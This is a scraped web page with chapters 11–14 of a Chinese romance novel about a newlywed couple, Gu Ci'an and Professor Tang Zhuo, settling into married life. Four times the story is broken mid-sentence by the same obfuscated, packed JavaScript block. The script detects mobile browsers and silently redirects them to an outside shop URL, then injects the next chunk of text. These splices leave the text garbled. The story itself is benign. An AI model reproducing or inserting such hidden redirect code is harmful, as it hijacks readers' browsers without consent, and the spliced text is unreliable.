;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434357|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己能弄完,不用麻烦。你去忙吧,我自己回去就好。” “不麻烦,下午见。还有,新婚快乐。” 顾辞安望着眼前刚刚成为自己伴侣的男人,眼镜上方眉骨清晰,眉形规整,不粗不浓,透着一股书卷气的冷,可此刻淡漠被轻轻化开,唇角弧度简单,却足够温柔。 镜片后的目光落在身上时,少了几分平日讲课时的疏离。 顾辞安心头那根紧绷了许久的弦,彻底松了下来。 嘴角微微翘起,弯着眉眼,声音轻而真诚:“唐教授,新婚快乐。” 顾辞安心想:或许,也没那么糟糕。 搬家公司的人到的时候,屋子里差不多已经空了,顾辞安嘱咐着工作人员一箱箱搬到货车上,都整理好后,搬家公司的人就按照唐灼提前发的地址先行离开了。 还剩一些零碎的东西以及平日里用的电脑键盘,虽然也不是什么贵重物品,但毕竟是自己吃饭用的东西,还是打算自己收拾妥当开车带过去。 快到傍晚的时候,顾辞安接到了唐灼的电话:“顾先生,可以给我发一下你家的地址吗,我现在过去。” 顾辞安有些意外,自己习惯一个人把事情都做好,也不需要其他人的帮助,这让他有些别扭。况且,本以为唐灼就是客气一声,没想到真的要来,顾辞安试着推辞:“唐教授,你下班了?没关系,搬家公司的人已经走了,你给我发个地址,我自己过去就行了,你就不用来回折腾了。” “不麻烦,是之前资料上填的那个地方吗,好像顺路。”唐灼的语气不带一丝犹豫,说的像是真就是顺路的事。 顾辞安也不好再客气,犹豫片刻说:“好,那我把门牌号发给你。” 唐灼到的时候,顾辞安刚把剩下的东西收拾好,唐灼手里提着一个挺精致的手提袋。 “唐教授,进来吧,其实已经整理完了,没必要再过来,怪麻烦的。” “不麻烦,要换鞋吗?” “不用,我这里……没有多余的拖鞋。” 顾辞安这里没什么人来,一直都是自己一个人住,也就没准备过多余的拖鞋,家里的东西也都是一份,没必要准备。 唐灼进门之后,扫视了一圈,看着兴致还不错的样子,其实房子不大,也没什么特别的地方,但唐灼就是忍不住多看了几眼。 他坐下后,把手提袋里的东西拿出来,是一瓶鲜榨果汁和一块小蛋糕,果汁是橙汁,蛋糕是蓝莓味儿的:“顾先生,先吃点东西垫垫吧,路过看着不错顺便买的。” 顾辞安没想到唐灼会考虑到他忙了一下午没吃东西,说是顺路买的,但这家店明显不是自己家这个方向的,顾辞安不知道是特意买的还是订的外卖,但心里是暖着的。 橙汁和蓝莓味儿蛋糕,恰巧都是自己喜欢的味道,顾辞安看着唐灼,果然是个让人安心也会照顾人的人,其实这样的人无论和谁在一起,都会如此吧。 顾辞安声音不是很高,但还是显得有点意外:“给我买的吗,谢谢,你也吃点吧。” 说罢,两人围着不大的茶几,一起把蛋糕吃完了,今天的蛋糕似乎格外好吃。 唐灼看着盘腿坐在地上吃蛋糕的顾辞安,轻松惬意,像个孩子似的,没有了那天满身防备的样子,唐灼微微一笑,露出有些宠溺的神情,但顾辞安没看到。 吃完东西并把屋子收拾干净后,顾辞安看着住了几年的地方,心里还是有点不舍。 况且从今以后就要和另一个人一起生活了,他还是有些不太习惯,也不知道会不会有不适应的地方。 “唐教授,我们走吧。”顾辞安声音轻轻的。 “嗯,走吧。”唐灼顺手把顾辞安手里的包拿到自己手里。 顾辞安愣神片刻,没说什么,其实自己也不是需要人时时刻刻都照顾的人,但好像在唐灼面前,什么都被安排好了,行李也不需要自己拿,抬眼的瞬间,恰好看到了唐灼看向自己的眸光,那眼神安静温和,却藏着一丝近乎错觉的异样。 11. 第 11 章 顾辞安和唐灼是开着两辆车走的,一路上跟着唐灼的车,穿梭在灯红酒绿的街上,他就这样在28岁的时候,毫无防备、一切都在意料之外,一步一步踏进了唐灼的领地。 唐灼家的楼层不算太低,白天的采光应该很好,顾辞安喜欢家里亮堂堂,能照进来阳光的感觉。 唐灼领着顾辞安来到家门口,淡淡说:“密码是0324,一会儿给你录个指纹。” “好。” 第一次拥有别人家的门的密码,这串今后每一次到家都需要一遍遍重复的数字,让他感觉很奇怪,一切都陌生又新奇,仿佛人生一下子变得不一样了 进门之后,宽阔的客厅和落地窗尽收眼底,整体是极简风格,色调柔和,干净通透,和唐灼给人的感觉一样是舒服的。 看着门口摆放整齐的两双拖鞋,大小差不多,顾辞安怕穿错尴尬,迟疑问道:“唐教授,我……穿哪双?” 唐灼看着站在玄关门口的顾辞安,笑了笑:“都是新买的,你喜欢哪双穿哪双就行。” 顾辞安犹豫片刻,选了一双淡蓝色的,另一双灰色的留给了唐灼,即便外表多么安静内敛,潜意识里却还是喜欢明媚带有生机的色彩。 唐灼看着站在玄关门口,纠结半天才选好的顾辞安,笑了笑:“顾先生,不用这么拘谨,今后这里是我们共同的家,你想怎么样都可以,我也不会吃人。” 平时不苟言笑的教授,打趣起人来却一点都不生疏。顾辞安明明也不是什么扭扭捏捏的人,可一遇到唐灼就总是这么尴尬,这罪名怎么就胡乱扣了,低声呢喃道“我,没说你会吃人。” “嗯,那顾先生抱歉,是我理解错了。” 揪着人不放的唐教授属实是让人没辙,顾辞安快速穿了拖鞋,越过唐灼进了屋子,想赶紧结束这个没由来的话题:“你……叫我名字就行,也、也不用道歉,快进吧。” “辞安可以吗?” “可以的。”顾辞安没扭头,嘴比脑子快应了下来。 唐灼看着耳尖泛红连忙逃离的背影,露出一个宠溺的笑容,在顾辞安转身的瞬间收敛起来。 他装作无事发生带着顾辞安大致看了看房子,两间卧室,一间朝南是主卧,大大的落地窗整日都能沐浴到阳光,另一间则稍小一点,不过比顾辞安之前住的大两倍,还有一间面积不算小的书房,厨房则是开放式的。 顾辞安不清楚他俩现在的关系要怎么住,应该是要住一起的,但是要自己突然和唐灼睡一张床上,还是有些不太习惯、别扭,不知道唐灼怎么想,他看着卧室里的床陷入了沉思。 片刻后,还是问出了口:“唐教授,我们……怎么住?” 没直说,把选择权交给了唐教授,毕竟现在唐灼是自己的合法丈夫,也有权力在这方面有所要求。 唐灼听清了顾辞安语气中的犹豫,他也不急,一切还是以舒服为主,更没必要勉强,他要的从来都是心甘情愿。 “主卧我收拾过了,床上用品都是新的,还有什么缺的,明天去超市买,我睡客卧。” 或许唐灼也别扭,才把东西都提前准备得这么全面,顾辞安莫名有些失落,他忽然感觉,这场婚姻,也许从来就是各取所需罢了。 顾辞安点点头,环顾一圈,把自己摆在了侵入者的位置,说:“我睡客卧就好了。” “我平时住客卧多些,离书房近。” 给足了理由,无论真与假,客卧和书房离得近确实是真的,顾辞安也没好再推辞,嗯了一声。 等搬家公司的人把东西都搬进来后,顾辞安就开始收拾,进进出出,除了搬东西的声响,安安静静再没说话。 唐灼问他需不需要帮忙,顾辞安拒绝后唐灼便去了厨房,顾辞安从刚开始的慌乱还带着一丝期待的心情,逐渐冷静下来。 终究是理智占了上风,对他或者对唐教授来说,这样保持距离的相处方式才是这段婚姻中最稳妥的。 东西不多,但林林总总收拾起来还是十分琐碎的,等结束的时候不知不觉已经晚上十一点多了,他坐在沙发上,额头的汗水挂在上面,面色微红,显然是累了。 唐灼给他递来一杯水:“先喝点,休息一下洗把脸,我做了点吃的,得吃晚饭的。” 顾辞安接过,嗓子带着劳累之后的涩意:“谢谢,不好意思,弄到这么晚,你平时这个点应该已经睡了吧,其实你不用管我的。” “嗯,平时差不多十点左右睡,没关系,洗手先吃饭吧。” “麻烦唐教授了,这么晚还下厨。” 两人落座吃饭,唐灼看着低头静声吃饭的顾辞安,明明进门的时候还是健谈的,可一会儿功夫就又恢复了与人相处时的疏离,他想应该是刚搬来不习惯,需要给他适应的时间,便没作声。 就这样,除了碗筷碰撞的声音,屋子里静得只剩下两人的呼吸声。 吃完顾辞安起身准备收拾碗筷,毕竟唐教授做了饭,总不能连收尾工作都让他来做,万事都一样,公平才能长久。 然而还没等顾辞安起身,唐灼就先把碗筷端起放进了洗碗机。 “唐教授,我来吧。” “不用,累一天了,洗个澡早点休息吧。” 顾辞安顿了顿,道了声谢,看样子的确没有他能做的事情,就去房间拿了睡衣就进了浴室。 浴室有浴缸,不过今天时间不早了,他也懒得花时间泡澡,今天实在是有点累,平时身体素质也不是那么好,跑会儿就喘。 简单冲了冲,穿上睡衣后看着换下来的衣服,在浴室门口喊了声唐灼:“唐教授,换下来的衣服放在旁边那个脏衣篓吗?” 顾辞安准备明天白天再洗,要不然晚上洗衣机有声音,怕唐灼睡的时候还没洗完,吵得他睡不着。 “嗯,放那里面就好了。” “好,唐教授,我洗完了,你也早点休息吧,今天麻烦你了。” 唐灼看着站在浴室门口的顾辞安,睡衣领口微敞,露出白皙的皮肤,浅色的头发刚擦过,还没吹干,几滴水珠落在肩上。 顾辞安没在别人面前这样穿过,有些尴尬准备回房,却被唐灼叫住。 他疑惑着看唐灼从抽屉里拿出吹风机,边拿边说:“吹干再睡吧,不然容易头疼。” 顾辞安觉得没什么毛病,就接过吹风机,安安静静地把头发吹干才走回卧室。 今天实在是太累了,而且唐灼对他的照顾,无论是顺路的蛋糕、还是深夜的晚饭,抑或是简简单单的把头发吹干,这一切都让他有些不知所措。 有些人,明明没刻意做什么,却总能一步步踩在人的心上,这让顾辞安很烦躁,其实他们之间,原本不需要这样,各自做好各自的事就好。 奈何,唐教授似乎将这一切做得顺理成章,让人挑不出错,也无力辩驳。 从来没人这么对待过他,但这些竟然都来自一个相识不到几天的人。 唐灼是那种会把自己和身边的一切都照顾得很妥当的人,顾辞安不清楚这些事是只对自己,还是换成随便哪个人都可以,他告诫自己不要想太多,以后多做一些保持平衡就好。 强迫自己剥离多余的思绪后,总算睡着了,许是身心俱疲,这一觉睡得比往常沉了些。 再次醒来的时候,窗外已天光大亮,一睁眼就看到了陌生的顶灯,顾辞安顿了会儿神,才反应过来自己在哪里。 外面安安静静的,没有一点声音,他拿起手机看了一下时间,已经九点多,唐灼早起上班的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434358|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动静竟也没吵醒他,顾辞安睡眠浅,即使处于深度睡眠,只要有一点声响,就会立刻醒过来。 他起身开门后走到客厅,发现桌子上有张字条【早饭在桌子上,起来后热一热再吃】 顾辞安走到餐厅发现桌子上果然放着早饭。 他把热过的豆浆和三明治拍了张照片,打开了和唐灼的聊天框,无论如何都得道谢,人与人之间,能做到这个地步,实属难得。 【辞安:图片】 【辞安:谢谢唐教授,其实不用这么麻烦的,我自己弄就可以了。】 唐灼看着顾辞安发来的消息,微微蹙眉,这两天,自己不知道听了多少句感谢的话,太过客气了,也过于疏离。他暗自叹了口气,心道:看来还是得慢慢教。 【唐教授:顾先生,我们之间的关系,不需要说这么多句谢谢,我也不想每次都回复不客气。】 语气直白生硬,顾先生三个字已经表明唐灼有些不高兴,顾辞安回想了下自己确实一直在说谢谢,唐灼的意思顾辞安明白,只是略显不快的语气从字里行间渗出,还是让他有些不安,只好乖乖答应。 顾辞安是个性子软的,看不得别人生气,更何况是因为自己。 【唐教授:走的时候看你还没醒,就没叫,物业一会儿应该过来送快递,可以帮我拆一下吗,谢谢。】 面对唐灼的好意,他实在没办法心安理得地接受。正因自己的不妥反省以后该怎么办时,一句谢谢砸得他头痛,唐灼是故意的。 一直没意识到唐灼是真真切切大了自己整整八岁,年长的气势、压迫力和手段,就这么无声无息摆在顾辞安面前,他像个小柿子一样任人拿捏又无能为力。 不一会儿,门铃响了,物业把大大小小的快递放在门口,顾辞安道谢之后人就走了。 他穿着睡衣从屋子里找了个小板凳,规规矩矩坐在门口开始拆快递,也不知道唐灼买了些什么,这么多,估计得拆一会儿了。 初春的天气还是有些寒气,顾辞安的睡衣不算厚,坐在门口大半天还是不可避免有些凉意,就这么一会儿,打了几个喷嚏。 也没当回事儿,看着满地大大小小的快递,有咖啡机、水杯、内裤……还有一些零零散散的小玩意儿。 他把东西都放在一旁,将快递的纸盒一一整理好之后,才拿起手机拍照发给了唐灼。 【辞安:唐教授,这些东西要放哪儿。】 唐灼点开照片,一眼就看到藏在杂乱快递中一双踩着拖鞋的光脚,这应该是在楼道里把快递拆了。 唐灼皱了皱眉,拿起手机拨通了顾辞安的电话。 顾辞安看到唐灼突然来电,顿了顿才接通电话,唐灼开口问:“辞安,在楼道里?” “嗯,在屋里拆会弄脏,在外面方便点,好、啊嚏、好收拾。” “感冒了?” “没有,可能有点风,吹着了,应该没事,回屋就好了。” 唐灼停顿了一下,对顾辞安说:“东西放门内玄关就好,等我回去整理,茶几抽屉里有感冒灵,饭后一袋。” “没、没那么严重,不用吃药的。” “辞安。” 顾辞安嗯了一声,感觉唐灼有些严肃,“听话,把药喝了,还有,把袜子穿上。” “好、好的。” 唐灼说下午没事会早点回来便挂了电话,顾辞安还因为“听话”二字没回过神来。 他明明不喜欢别人对他指指点点,命令似的做这做那,唐灼的语气和命令也大差不差,但顾辞安没有一点反感,反而总是着急忙慌着答应,生怕惹恼对方。 最重要的是,明明语气是生硬的,可还是没控制地脸热了些,这脸皮子也太薄了点,过于不争气了。 12. 第 12 章 唐灼到家比预计的要早,按了指纹进门一眼便看到了堆在玄关整整齐齐码好的快递,他边换鞋边往里看了一眼,顾辞安没在客厅。 走到主卧门口的时候,门是半掩着的,唐灼站在门口没直接进去,轻轻扣了扣,里面没动静。 犹豫片刻后还是推门进去了,顾辞安半张脸露在被子外面,身体捂得严严实实,睡得很熟的样子,但看上去不太舒服。 他俯身、抬手在顾辞安额头上探了探温度,有些热,唐灼皱了皱眉,语气带着藏不住的担心,轻声喊了两声“辞安”后,顾辞安才迷迷糊糊睁眼看到了俯身在床边的唐灼。 两人离得近,唐灼鼻息间呼出的气息若隐若现地打在顾辞安的脸上,他身上带着刚从外面回来的凉意,顾辞安忍不住轻颤,黏黏糊糊说了句“唐教授……回来了。” “辞安,你好像有些低烧,我回来的时候买了点药,你先躺着,我先给你拿体温计量下体温。” 顾辞安没推辞嗯了一声,身体感官实在是不能忽略,确实有那么一点不舒服,其实昨晚睡的时候就有点感觉,一直以为是累的,没想到第二天终究还是吹了点冷风就招架不住了。 说罢,唐灼便出了卧室,没一会手里端着一杯温热的水放在了顾辞安的床头,顺手将体温计递给了他,顾辞安接过后乖乖塞到腋下,另一只手端起了水杯喝了几口水,温度刚刚好。 两人之间的气氛突然变得十分微妙,唐灼站在床边,坐下也显得有些不合适,卧室里安安静静的再无其他声音,顾辞安咳了一声,对唐灼说:“唐教授,坐吧。” 唐灼顿了顿,看了看身上还没来得及换的衣服说:“没事,你中午吃饭了吗?” “没有,不太饿,觉得困就睡了,没想到这一觉睡了这么久。” 吃喝饮食上,顾辞安向来不在意,他独居的时候经常一日三餐胡乱吃,饿了或者想起来吃的时候才吃,总之时间不固定,时间久了也习惯了。 可是他说完感觉唐灼神色有那么一瞬间不悦,不知道是不是错觉,自己似乎总会惹得对方不快,还一直在给唐教授添各种各样的麻烦。 时间到了,拿出体温计,显示37.5度,不算太高。 唐灼轻声说:“还好,你先躺着,我给你冲个感冒药,喝完捂捂汗,晚饭喝粥可以吗?清淡点儿。” “我都行,唐教授,你要是累了不想做点外卖就好了,不用这么麻烦的。” “不麻烦。” “谢……”话说一半儿顿住了,突然想起早晨唐灼给他发的消息,但又不知道怎么往下接,只得乖乖闭嘴没再说话。 唐灼看着那小脸儿泛着红,欲言又止嘴里憋着口气的顾辞安,心里的烦闷顿时消散了不少,倔强又可爱。 喝了唐灼端来的药后就又睡着了,再睁眼已经是晚上七点多了,顾辞安起身穿上拖鞋,一出门便闻到了勾人的饭香味儿,整天都没怎么进食,饿坏了,竟然闻着这味儿肚子咕咕响了两声。 唐灼正在沙发上看这周的学术期刊,听到卧室那边传来的声响,刚抬眼就看见头顶着小狮子头的顾辞安,闷头轻轻笑了一声,停顿片刻才说:“醒了,粥刚熬好,趁热吃吧。” 顾辞安嗯了一声,规规矩矩坐在餐桌前看着还冒着热气儿的粥,舀了一勺吹了吹送到了嘴边,不自觉地眼睛发亮,自顾自地说了句真好喝。 人在生病的时候是防备心最弱的时候,比如现在,昨晚睡前还提醒自己不要靠太近,习惯唐教授的好,今天一病,就着这仨瓜俩枣的好意,转头就忘了个一干二净。 顾辞安有个小毛病,外人不知道,经常一个人吃到好吃的东西,身体会不自觉微微晃动,像小时候的孩童吃到糖果那般开心。 此时此刻,唐灼看着端坐在眼前尽显克制,却藏不住眼底笑意的顾辞安,心想怎么会有人28岁还这么可爱,说:“慢点吃,不够还有。” 这下轮到顾辞安尴尬了,本来就有点低热,现下感觉体温又高了一度,臊得慌。 太丢脸了,就因为一碗粥就暴露本性了,支支吾吾应了声,赶忙把目光放在别处,这时才发现,客厅的地板上铺了一块大大的毛茸茸的地毯。 “唐教授,那个……是新买的?”顾辞安指了指客厅的地板,他明明记得,上午收拾快递的时候没见过有。 “嗯,你睡着的时候送来的。” “哦。” 二人没再多说,唐灼不是那种做什么都会说出来邀功的人,可顾辞安不傻,明明在自己来之前地上根本不像是铺过什么地毯的样子,大概是昨天自己坐在地板上的时候被唐灼看见了,这才买的。 点点滴滴,唐灼总能在这些日常的细枝末节中捕捉到关注点,并默默做好一切,顾辞安有些好奇,这种观察力和执行力,是天生的还是职业习惯,毕竟他们这种研究工程的学者,任何细节的搭建都是极其重要的,不能有一丝一毫的偏差。 顾辞安心想,唐教授本身就是这样好的人,毋庸置疑是讨人喜欢的,应该没有什么人能在唐灼这里讨到难堪吧。 唐灼没催顾辞安,不慌不忙等他吃完放下筷子才准备起身收拾,没来得及挪椅子就被顾辞安抢先了。 “唐教授,我来吧。” 话说的简洁明了,动作干净利落,可唐灼就是从顾辞安的言行中感受到了一丝疏离和别扭,是拘着的。 其实还是把两人的关系放在了天平的两端,不能轻也不能重,别人做了一分,自己最少也要付出一分,这样才不至于失衡。 唐灼没急着和顾辞安好好掰扯,毕竟不是一两句话就能改变的,得在一朝一夕、慢慢相处间徐徐图之。 顾辞安收拾碗筷,唐灼便擦桌子,两人像寻常夫夫一般和谐。 收拾完后,顾辞安看着唐灼去了书房,估计是有工作要处理。 这时,手机铃声响了,是他妈妈。 顾辞安看着躺在床头响了一声又一声的手机,还是在快要挂断的时候按了接听:“妈,这么晚了有什么事吗。” “没事儿就不能给你打电话了啊!就是问问你最近怎么一声不吭没动静了,我们不联系你,你就不会主动来个电话吗。” “我结婚了,昨天领的证。”顾辞安语气平静冷淡,像是在陈述什么观点一般。 “你这孩子,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434359|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”本来还想说什么,可是结果还不错,既然先斩后奏那也没办法,这是第一次李女士无可辩驳,没停多久,继续说: “既然这样,也没什么好说的了,虽然说快了点,不过也是好事,人家教授能愿意也算是咱运气好,那就尽快有时间回来一趟。还有,你也去见见人家父母,记得别空手,毕竟以后都是一家人,留个好印象。” 顾辞安不知道为什么在自己父母眼里,他总是那么不值一提,拿不出手好像是从小到大的标签,怎么就配不上别人。 他不是个任人打压的性格,骨子里带着股韧劲儿,嘴上应付但心里门儿清,虽明白这种根深蒂固的观念,是时代和从小的生活环境所致,但即使到而立之年,多年来的累积,仍难以和解。 电话那边说着十年如一日的说辞,好不容易来的舒心早已散得一干二净,敷衍了两句,答应了抽空回去后草草挂了电话。 顾辞安把手机扔到了床上,指尖下意识用力捻了捻,指腹留下了几道深深的红痕,还是没忍住从床头的抽屉里拿了烟和打火机。 虽然唐灼也知道自己抽烟,可还是不太愿意被他看见,他猜想唐教授应该是不大喜欢这味道的。 顾辞安没穿鞋,光脚走去阳台,轻轻打开窗户,夜晚的风裹挟着泥土的气息穿过缝隙漫了进来,窗外的光影打在顾辞安纤细的指尖,食指和中指间有一抹光点。烟雾被缓缓吐出,萦绕在半空,最终被风吹散。 等烟味散得差不多后,顾辞安将手里的烟蒂丢进了垃圾桶,关上了窗户,带着凉意走向了书房,抬手准备敲门的动作停在半空中。 这场婚姻,一开始就不应该掺杂太多,也没道理让唐教授替自己出面,搀和这一屋子鸡零狗碎。 唐灼隐约听到顾辞安那边断断续续传来的声音,似乎在打电话,内容听得不全,但好像并不愉快。 虽搁置一扇门,可房间里窸窸窣窣的脚步声、轻轻推开窗户的声响,还有打火机清脆的按动声,每一下,他都听得清清楚楚,落在心上,泛起细碎的波澜。 两天的相处,短到根本不足以了解一个人。 可他是唐灼,门的那头是他十年来窥探、放在心底的顾辞安,那些刻意的伪装、皮囊下的清醒和克制,还有偶尔流露出少有的快乐,藏在细碎的相处中,足以让唐灼察觉到一二。 唐灼就那样安静地等着,等着顾辞安叩响房门,无论他要说什么,无论那些糟心事有多棘手,他都能替他扛着、替他解决。 可直到夜色渐深,那声期待中的敲门声,终究还是没有落下。 面对顾辞安,他总是显得很无措,太过直接地询问、太过主动地解围,怕吓到这个习惯了自我包裹的人;可若是什么都不做,眼睁睁看着他独自消化所有委屈,他又心有不甘,舍不得让他一个人硬扛。 正如戒指上的那句德文,他自始至终的期盼,只是望着小孩儿能够开心快乐,然而现在看来,不仅仅是朝夕相处,更重要的是先让对方卸下防备,能够与他交心。 既然顾辞安学不会靠近,那便不必勉强。 他会亲自走过去,把人牢牢圈进自己的安稳里。 13. 第 13 章 唐灼将手中的书放下,捏了捏眉心,起身朝书房外走去,即使开了窗户,这新闯入的烟味也没散干净。 半晌后,敲响了顾辞安的房门。 顾辞安开门的时候,就看到了唐教授捧着一杯药剂,问:“方便进来吗?” “方便,你……忙完了?”顾辞安有些心虚地侧身,示意对方进来。 卧室很大,床边有一个小圆茶几和一张软椅,唐灼将药放到桌面上,语气温和:“喝了吧,晚上的还没喝。” “好。” 指尖触碰到杯壁,温度刚刚好,顾辞安没什么表情的一口气喝完,看见唐灼伸手递来一颗糖,他忍不住笑了出来,刚刚的愁绪消散了不少:“唐教授,我又不是小孩子了。” “比我小这么多,就是小孩儿。” 既然这么说,顾辞安忍不住打趣道:“那我岂不是得喊你哥哥或者叔叔?” 唐灼慢悠悠剥开糖纸示意顾辞安,接着反驳说:“哥哥还行,叔叔不可以,我还没那么老。” 实在是有些幼稚,从小到大各种各样的药也没少吃,顾辞安向来不是会喊苦的人,无奈摇了摇头,接过糖块儿送进嘴里,淡淡的苹果味,甜度刚刚好。 “嗯,不老,唐教授还不睡吗?” “辞安。” 唐灼的语气突然变得有些严肃,顾辞安疑惑地望向他,嗯了一声。 “来,坐。”唐灼指了指床,自己坐到了软椅上。 软椅紧挨着床边,比床的高度略低了些,顾辞安坐下后比唐灼稍微高了些,唐灼前倾抬眼看着他,这是顾辞安第一次从这个角度看唐灼,鼻梁更高了,眉骨清晰,更显成熟了。 唐灼淡声开口:“我们现在是合法伴侣,如果你有什么事情或者困难都可以和我说,我有权利知道,也有义务和你一起面对,我需要的婚姻不是形婚,懂吗,小孩儿。” 顾辞安低头,指尖揉捏着睡裤,硬生生把绸质的睡衣摸的皱皱巴巴,小孩儿,好像他真的把我当成小孩子一样,把话揉碎了说,把道理摊开来讲。 “抱歉,你是不是……闻到烟味儿了,你要是不喜欢,我下次去楼道里,但是……我可能……一时半会儿戒不了。” “没让你戒,想抽就抽,我不介意,只是不要太频繁,可以吗?”唐灼语气软了些,语气里带着些许纵容。 “嗯。” “那可以跟我说说,刚刚为什么抽烟吗?” 聪明人总能透过行为询问事情的本质。 “我妈刚给我打电话了,让我带你回家。” 唐灼听完,只简简单单回了句:“但是?” 顾辞安抬起头,眼神稍有些闪躲,他不太想把自己的想法说出来,但唐灼问了,他就得回答,起码不能骗人:“但是,我家氛围……可能不太好,我觉得我们之间的事情,不需要麻烦你再去应付和面对别的事情。” 唐灼抬手停在半空中,终究还是没忍住轻轻揉了揉顾辞安的头发:“错了。” 忽然被人揉了头发,顾辞安的心不由得轻颤,声音飘着:“嗯?” “是我们之间的事情,不需要你一个人去面对。难道以后我有事情,也不可以麻烦你帮忙吗?” 听到这儿,顾辞安连忙摇头:“不是这个意思。” “那,什么时候去你爸妈家?” 顾辞安顿时没回过神来,唐灼的手还在他头顶,不重,他第一次被人摸脑袋,有一种被照顾被好好对待的感觉,很奇妙,像魔法一样能消解很多坏情绪和不安。 他没想到唐教授的话题能转变这么快,直抓重点,而且不是询问,是陈述,那意思就是,这件事是理所应当的。 “等你不忙的时候吧。” “好,既然事情解决了,可以睡觉了吗?” “嗯……” 看着顾辞安的模样,应该是说明白了,唐灼也没多停留,起身准备往卧室外走,临走补充道:“如果没什么事的话,就这周末吧,晚上记得盖好被子,少吃几顿药。” 顾辞安嗯了一声,在唐灼快要关门时说:“唐教授,谢谢你。” “我说过,跟我不需要说谢谢,晚安。” “晚安。” 到现在为止,他们两个也认识了一个多月,顾辞安很多次都在重复一个问题,他见过不少人,虽不至于一眼断定好坏,但说话的语气、神情以及举手投足间的细微之处,足以侧面了解一二。 唐教授这样好的人,到底为什么会选择和他结婚,明明没什么优秀之处,也没什么特别之处,这个问题困扰了顾辞安很久。 不知道是喝了药的缘故,还是唐教授的声音太过温和,这晚顾辞安睡得格外沉,梦里好似还听到了有人唤他“小孩儿”。 * 第二天,唐灼刚到办公室,王院长就通知他,锦城临时有个项目需要团队过去考察,让他顺便带几个研究生过去学习。 时间有点赶,唐灼赶忙确认好出行名单后发给负责人。 T大的工程院算是全国同类学院中top级别的,经常会有各种项目需要他们参与考察、设计和建设,这种临时的出差虽然不常见,但偶尔难免会有。 负责人按照院长的要求定的是下午3点的机票,过去大概两个小时。 唐灼安排好手里的工作就回家了,得收拾一下行李。 顾辞安正坐在地毯上看书,听到了开门的声音,他下意识看了一眼时间,十一点,顾辞安知道唐灼中午是不回来的。 他起身,光脚踩在地毯上,语气略带困惑,询问道:“唐教授?” 唐灼边换鞋边解释道:“学院临时通知需要去锦城出差,大概一周,但具体日程暂时还不能确定。”垂眸看向顾辞安,又说:“袜子呢?” “不冷。”顾辞安不明白唐教授为什么总纠结他不穿袜子这件事。 唐灼迟疑片刻,没说话径直回了卧室,顾辞安以为他要收拾行李,也没再多说。 没一会儿,唐灼就出来了,顾辞安看着唐灼手里拿的新袜子,才回过味儿来,只能乖乖接过穿上,只听到唐灼稍显歉意地说:“抱歉,本来想着这周末和你去见叔叔阿姨,是我考虑不周了,等我回来,可以吗?” 顾辞安也不是什么不讲理的人,况且他觉得唐灼也没有义务事事以他为先,能在这时候跟他解释这件事已经考虑得很周到了。 “没事,没那么严重,工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他知道顾辞安不喜欢做这些,打心底里也没想着让他干不喜欢做的事,所以在看到顾辞安给自己做饭的瞬间除了惊讶还夹杂着欣喜。 顾辞安不知道唐灼此时此刻在想些什么,只见他提着行李箱一动不动地站在旁边,眉眼间带着笑意。 “唐教授,不知道你吃不吃外卖,就煮了点儿馄饨。” 清冷干净的嗓音将唐灼拉回神,唐灼嗯了一声便走向餐桌坐了下来。 二人安安静静的吃着比起平时称得上是“简陋”的午饭,唐灼看着面前状似不在意、却略带期待的神色,认认真真吃完后,温柔笑道:“很好吃。” 被夸的顾辞安松了口气,但到底明白唐教授在给他面子,都是成品,好不好吃主要看商家料下没下足,没好意思邀功:“一会儿怎么走?从这儿到机场大概得半个多小时。” 其实同事顺路也可以来接他,或者打车,但是唐灼还是想和顾辞安多待一会儿。 唐灼假装无所谓地说:“嗯,开车过去的话得放在机场好几天,不合适,刚刚看了看打车软件,也不知道什么原因,好像不太好打,我再试试。” “嗯……要不然我送你吧,反正我也没什么事。” “方便吗?你来回得一个多点儿。” “可以的,没问题。” 老男人总是一套又一套的,顾辞安压根儿没那心思研究到底是不是不好打车,既然唐灼这么说了,他就应了,反正在家也没什么事。 顾辞安应得随意,却没察觉,自己已经顺着唐灼铺好的路,一步步走了进去。 14. 第 14 章 顾辞安没开自己的小破车,唐灼说开他的车去,顺便加个油。 到机场的时候时间刚刚好,停在送客区时,有几个人提着行李站在大厅门口,朝唐灼的车招了招手走了过来,应该是他的同事和学生们。 顾辞安没想到会在这种情况下和他的同事碰面,出于礼貌只能和唐灼一同下车,要不然都把人教授送到了,结果他的同事看到自己反而坐在驾驶位上不动弹,实在是不太好看。 